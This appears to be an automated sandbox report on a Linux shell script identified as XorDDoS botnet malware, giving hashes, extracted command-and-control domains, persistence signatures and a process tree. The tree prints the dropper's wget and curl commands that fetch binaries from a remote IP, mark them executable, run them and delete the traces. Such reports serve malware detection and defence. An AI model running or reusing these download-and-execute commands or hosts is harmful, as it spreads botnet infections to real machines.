Analysis
-
max time kernel
149s -
max time network
148s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
-
submitted
22-12-2024 07:56
General
-
Target
112.sh
-
Size
318B
-
MD5
0368897400a135549c0a2d9d83d384cc
-
SHA1
29c933b2a8dd201b4aaea73789664dda02c2fe75
-
SHA256
ec991cf6eac0354077622d016f3408b35372c4bbb44e86bc250bc1fcbafedfc4
-
SHA512
00216c30c5ab73b63821846febd159ac0be3c5a6658921ce9753c858ff2f83d698518c67283a9b2bea9da6067698b1302b6d84bf65ada476aba60bc35eedd758
Malware Config
Extracted
xorddos
api.markerbio.com:112
api.enoan2107.com:112
http://qq.com/lib.asp
-
crc_polynomial
CDB88320
Signatures
-
XorDDoS
Botnet and downloader malware targeting Linux-based operating systems and IoT devices.
-
XorDDoS payload 3 IoCs
-
Xorddos family
-
File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Deletes itself 64 IoCs
-
Executes dropped EXE 64 IoCs
-
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Modifies init.d 2 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
-
Writes file to system bin folder 64 IoCs
-
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to shm directory 3 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
-
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/112.sh/tmp/112.sh1⤵
-
/usr/bin/wgetwget http://43.249.172.195:888/1122⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://43.249.172.195:888/1122⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x 1122⤵
- File and Directory Permissions Modification
-
-
/tmp/112./1122⤵
- Deletes itself
- Executes dropped EXE
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://43.249.172.195:888/112s2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://43.249.172.195:888/112s2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x 112s2⤵
- File and Directory Permissions Modification
-
-
/tmp/112s./112s2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf 112.sh2⤵
-
-
/bin/rmrm -rf 1122⤵
-
-
/bin/rmrm -rf 112s2⤵
-
-
/bin/wnskpkym/bin/wnskpkym1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies init.d
- Writes file to system bin folder
- Reads system network configuration
- Reads runtime system information
- Writes file to shm directory
-
/bin/mzzsrza/bin/mzzsrza -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/xvtifwd/bin/xvtifwd -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/xgswwdir/bin/xgswwdir -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/mwkzlxkuawdy/bin/mwkzlxkuawdy -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/pxykgfgj/bin/pxykgfgj -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/pcclhkf/bin/pcclhkf -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/ybrxpoj/bin/ybrxpoj -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/rhprkgpkqxq/bin/rhprkgpkqxq -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/gcdxgfl/bin/gcdxgfl -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/rswrvopke/bin/rswrvopke -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/nzikhqvwjptbl/bin/nzikhqvwjptbl -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/svpsrpacgvt/bin/svpsrpacgvt -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/acvxhiysuf/bin/acvxhiysuf -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/sdthywsjoqzh/bin/sdthywsjoqzh -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/qhkycfocijbp/bin/qhkycfocijbp -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/zjngthkppkl/bin/zjngthkppkl -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/uazvjhlqtj/bin/uazvjhlqtj -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/yzzgkbydcjs/bin/yzzgkbydcjs -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/davsrhda/bin/davsrhda -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/fawojjheuc/bin/fawojjheuc -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/tbldelihudsxf/bin/tbldelihudsxf -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/rwwxwye/bin/rwwxwye -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/wtjicnceqyhd/bin/wtjicnceqyhd -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/oomvkppiuebqaa/bin/oomvkppiuebqaa -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/yfpxayfcmhiefr/bin/yfpxayfcmhiefr -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/jfxvchmr/bin/jfxvchmr -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/gvtywvmw/bin/gvtywvmw -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/btacyeoiospg/bin/btacyeoiospg -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/ynyvqhhh/bin/ynyvqhhh -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/nfulbpaz/bin/nfulbpaz -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/vqrjonzy/bin/vqrjonzy -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/dtsftztbnn/bin/dtsftztbnn -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/ixinrvqixqybl/bin/ixinrvqixqybl -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/ieucghrzdiqmyd/bin/ieucghrzdiqmyd -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/waxvklofd/bin/waxvklofd -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/fvxggqol/bin/fvxggqol -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/stumszwkn/bin/stumszwkn -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/qctqzqamf/bin/qctqzqamf -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/qcmlbuuu/bin/qcmlbuuu -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/fgdyapsbneokuq/bin/fgdyapsbneokuq -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/klsqzppvk/bin/klsqzppvk1⤵
- Deletes itself
- Executes dropped EXE
- Writes file to shm directory
-
/bin/mqvmccwuei/bin/mqvmccwuei -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/gdcaoj/bin/gdcaoj -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/tjjjdkw/bin/tjjjdkw -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/bgernqjjfm/bin/bgernqjjfm -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/bislsa/bin/bislsa -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/uaediymtjpghz/bin/uaediymtjpghz -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/qdydvimaw/bin/qdydvimaw -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/dgsrzsht/bin/dgsrzsht -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/ozeonaxfg/bin/ozeonaxfg -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/gnyjnc/bin/gnyjnc -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/vqjtqmak/bin/vqjtqmak -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/zenuabvfplhoq/bin/zenuabvfplhoq -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/uyavjnxp/bin/uyavjnxp -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/pyeingssfzfczg/bin/pyeingssfzfczg -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/gxknlcciacdj/bin/gxknlcciacdj -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/czfrzlzm/bin/czfrzlzm -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/ufztkbutdb/bin/ufztkbutdb -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/nqeqtoqx/bin/nqeqtoqx -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/arvbwmaio/bin/arvbwmaio -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/ciubbg/bin/ciubbg -d 15171⤵
- Deletes itself
- Executes dropped EXE
-
/bin/vbiysvpyn/bin/vbiysvpyn -d 15171⤵
- Deletes itself
-
/bin/oehhgzchvqj/bin/oehhgzchvqj -d 15171⤵
- Deletes itself
-
/bin/ewhoslpzqn/bin/ewhoslpzqn -d 15171⤵
-
/bin/alwvcujmipu/bin/alwvcujmipu -d 15171⤵
-
/bin/vtteqmnysmf/bin/vtteqmnysmf -d 15171⤵
-
/bin/esyfiliizegbb/bin/esyfiliizegbb -d 15171⤵
-
/bin/qlgkddfyhxkuv/bin/qlgkddfyhxkuv -d 15171⤵
-
/bin/idknvi/bin/idknvi -d 15171⤵
-
/bin/gweqxlw/bin/gweqxlw -d 15171⤵
-
/bin/mpqxxccaj/bin/mpqxxccaj -d 15171⤵
-
/bin/jhlgeqojc/bin/jhlgeqojc -d 15171⤵
-
/bin/hnapjefgre/bin/hnapjefgre -d 15171⤵
-
/bin/dvzdtbfvlihu/bin/dvzdtbfvlihu -d 15171⤵
-
/bin/pamdkpjtc/bin/pamdkpjtc -d 15171⤵
-
/bin/inrptjvborar/bin/inrptjvborar -d 15171⤵
-
/bin/czhphqjdfjqjv/bin/czhphqjdfjqjv -d 15171⤵
-
/bin/uojfyyyqrhlu/bin/uojfyyyqrhlu -d 15171⤵
-
/bin/cxpqboyqyo/bin/cxpqboyqyo -d 15171⤵
-
/bin/buktfiabw/bin/buktfiabw -d 15171⤵
-
/bin/ixjgncoazmdwbt/bin/ixjgncoazmdwbt -d 15171⤵
-
/bin/qtnqkqrganlip/bin/qtnqkqrganlip -d 15171⤵
-
/bin/hdwgmev/bin/hdwgmev -d 15171⤵
-
/bin/uvqgamiwjapy/bin/uvqgamiwjapy -d 15171⤵
-
/bin/bojhqwub/bin/bojhqwub -d 15171⤵
-
/bin/ikrgsfl/bin/ikrgsfl -d 15171⤵
-
/bin/whimojayflaw/bin/whimojayflaw -d 15171⤵
-
/bin/qybbfs/bin/qybbfs -d 15171⤵
-
/bin/cvomhftzmg/bin/cvomhftzmg -d 15171⤵
-
/bin/jnwxdfyb/bin/jnwxdfyb -d 15171⤵
-
/bin/jbjvtjwxoqxsnn/bin/jbjvtjwxoqxsnn -d 15171⤵
-
/bin/uuytgg/bin/uuytgg -d 15171⤵
-
/bin/pvenzjlcywgh/bin/pvenzjlcywgh -d 15171⤵
-
/bin/bqsygivbwigscg/bin/bqsygivbwigscg -d 15171⤵
-
/bin/jmvahznila/bin/jmvahznila -d 15171⤵
-
/bin/jxtsqu/bin/jxtsqu -d 15171⤵
-
/bin/itstqtr/bin/itstqtr -d 15171⤵
-
/bin/zldfzotvp/bin/zldfzotvp -d 15171⤵
-
/bin/wclhfy/bin/wclhfy -d 15171⤵
-
/bin/crmuoyfhrazmty/bin/crmuoyfhrazmty -d 15171⤵
-
/bin/eetespzhsxmfh/bin/eetespzhsxmfh -d 15171⤵
-
/bin/gzxzotnoy/bin/gzxzotnoy -d 15171⤵
-
/bin/fawutwiycbcvs/bin/fawutwiycbcvs -d 15171⤵
-
/bin/emasuhlajib/bin/emasuhlajib -d 15171⤵
-
/bin/epncnvflp/bin/epncnvflp -d 15171⤵
-
/bin/ixykach/bin/ixykach -d 15171⤵
-
/bin/fohigbrubcedbi/bin/fohigbrubcedbi -d 15171⤵
-
/bin/rnjmsvbsfa/bin/rnjmsvbsfa -d 15171⤵
-
/bin/ratzvbpd/bin/ratzvbpd -d 15171⤵
-
/bin/vecrihwnighz/bin/vecrihwnighz -d 15171⤵
-
/bin/qnnnqgs/bin/qnnnqgs -d 15171⤵
-
/bin/xkrslmtar/bin/xkrslmtar -d 15171⤵
-
/bin/xwjpeqnr/bin/xwjpeqnr -d 15171⤵
-
/bin/tacpqrcg/bin/tacpqrcg -d 15171⤵
-
/bin/kyyhkravgvxxcx/bin/kyyhkravgvxxcx -d 15171⤵
-
/bin/nmzfbshwsjnlb/bin/nmzfbshwsjnlb -d 15171⤵
-
/bin/rlapjkadmx/bin/rlapjkadmx -d 15171⤵
-
/bin/jxgnucai/bin/jxgnucai -d 15171⤵
-
/bin/hjuphmavxbn/bin/hjuphmavxbn -d 15171⤵
-
/bin/opiyzibnhkx/bin/opiyzibnhkx -d 15171⤵
-
/bin/skauniwutsl/bin/skauniwutsl -d 15171⤵
-
/bin/emyeplueacc/bin/emyeplueacc -d 15171⤵
-
/bin/mfrwrqcjbdgq/bin/mfrwrqcjbdgq -d 15171⤵
-
/bin/ckhwwkakig/bin/ckhwwkakig -d 15171⤵
-
/bin/vddxhhbwmtufjw/bin/vddxhhbwmtufjw -d 15171⤵
-
/bin/mbxcrbpaxnkz/bin/mbxcrbpaxnkz -d 15171⤵
-
/bin/ugwplaoshqq/bin/ugwplaoshqq -d 15171⤵
-
/bin/lkbujujkrld/bin/lkbujujkrld -d 15171⤵
-
/bin/cdrpntmjb/bin/cdrpntmjb -d 15171⤵
-
/bin/amlpguhxqsju/bin/amlpguhxqsju -d 15171⤵
-
/bin/soxfijicnmwdb/bin/soxfijicnmwdb -d 15171⤵
-
/bin/rlqclepcmmj/bin/rlqclepcmmj -d 15171⤵
-
/bin/ebvysnppsxa/bin/ebvysnppsxa -d 15171⤵
-
/bin/bopxrqokbgnpk/bin/bopxrqokbgnpk -d 15171⤵
-
/bin/txqfivifvatkq/bin/txqfivifvatkq -d 15171⤵
-
/bin/jqqlefkxwzizf/bin/jqqlefkxwzizf -d 15171⤵
-
/bin/qqbmpsrzn/bin/qqbmpsrzn -d 15171⤵
-
/bin/hiacvqpeigpn/bin/hiacvqpeigpn -d 15171⤵
-
/bin/amjbul/bin/amjbul -d 15171⤵
-
/bin/rdytpp/bin/rdytpp -d 15171⤵
-
/bin/gragyk/bin/gragyk -d 15171⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
549KB
MD53d876ee77ec61dbe6bdd84b9a7e6e171
SHA1ed830f891a9925941679cf325da4d86ab31c6ad3
SHA256b3d5c44115276a985137f5d89a1841b8e04d4edc1179bd17cd063c9fa25726b5
SHA51222b0686c8706fd6813058ac28c864b6c3cc69c63079fcc7e50d7ed340da7506637efe532f5e047d66f752c74d465b31f05baf31e08c1d9763ddc9755e655294d
-
Filesize
549KB
MD5e2f6043d0d164b5c2955b05412445d94
SHA132bbe887b41182478650cc26753c15a9e2752cc1
SHA25652c41a70f3491f84bbb83f1769df84a0c2919319069c6267ba096b9f0daaff56
SHA512e55b89654d30887af7b76c0ffa062e954e3c2fe30194550542e66b1e89a360b52df0f71a9d93832adb0c84afdcd032a55638751dc68b1960fc73149959cf5841
-
Filesize
16B
MD5076933ff9904d1110d896e2c525e39e5
SHA14188442577fa77f25820d9b2d01cc446e30684ac
SHA2564cbbd8ca5215b8d161aec181a74b694f4e24b001d5b081dc0030ed797a8973e0
SHA5126fcee9a7b7a7b821d241c03c82377928bc6882e7a08c78a4221199bfa220cdc55212273018ee613317c8293bb8d1ce08d1e017508e94e06ab85a734c99c7cc34
-
Filesize
145B
MD511171342e7b77ce1cced29118d3aa6b2
SHA15c6b0eb3cdb53400ffd59c69dd84e021af1c6563
SHA2569fcdc68bafe985a52278488140245613dc6b3c0a2efac6cf2ac4b36910931106
SHA512c80342cc540fbc4132411a5bfcb2c2ca79a03c592d08d6c9a7d6f0301ef677386bd560c918c045cba4b6ae95e36d9e6d9869fae8cca16a47c3d4fff34df55e1b
-
Filesize
32B
MD5a6dd1f11b22072de2fd35ee0e088c421
SHA1b09d82a64fd47dba7b495ff55af0d2f4053da1f1
SHA256deefc75a2e1ad5844f472c9b490425e15227ca3092b29e75ce0148cd638ca0eb
SHA512b56b236d90dc5a6b931f25bc7b319ccf6619f3ff0ece1c813e64b3c8d274aa919e33108b5ad3ea684dbd3f758d32d21aa3b4667add14794336d812c65a6adb2a
-
Filesize
328B
MD5f7deffca2bc9d1f243896e870d84ce05
SHA1be0bbb939dbc4ac294ba41d6d1be62782acc2c94
SHA2564ed7c7a8b222c37bc945e59073dfe41a036403b2687593f514336c977a808b18
SHA512ebbaaab28e31a375b4a8d78dd160f333d46993d77467486ddc6479d1e270294afe94dedebc045aaa4011286d47daea971a6f167de33db846d1b5a005120436e0
-
Filesize
549KB
MD5f9191bab1e834d4aef3380700639cee9
SHA19c20269df6694260a24ac783de2e30d627a6928a
SHA256ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73
SHA5123d2758fe2d06183e627b5cc24919c08c84108f2efd7ab0a162029d55537476410d9535d50f3eb059f7153f7482c134284862eea121201f82838aace4b12283b5